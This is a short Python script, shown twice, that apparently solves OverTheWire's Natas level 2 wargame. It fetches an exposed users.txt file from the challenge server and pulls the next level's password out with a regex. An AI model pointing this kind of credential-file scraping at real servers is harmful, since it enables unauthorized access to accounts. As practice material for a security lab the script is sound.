import requests
import re

url='http://natas2.natas.labs.overthewire.org/files/users.txt'
username='natas2'
password='<PASSWORD>'

website=requests.get(url,auth=(username,password))
print(re.findall('natas3:(.*)',website.text))
import requests
import re

url='http://natas2.natas.labs.overthewire.org/files/users.txt'
username='natas2'
password='<PASSWORD>'

website=requests.get(url,auth=(username,password))
print(re.findall('natas3:(.*)',website.text))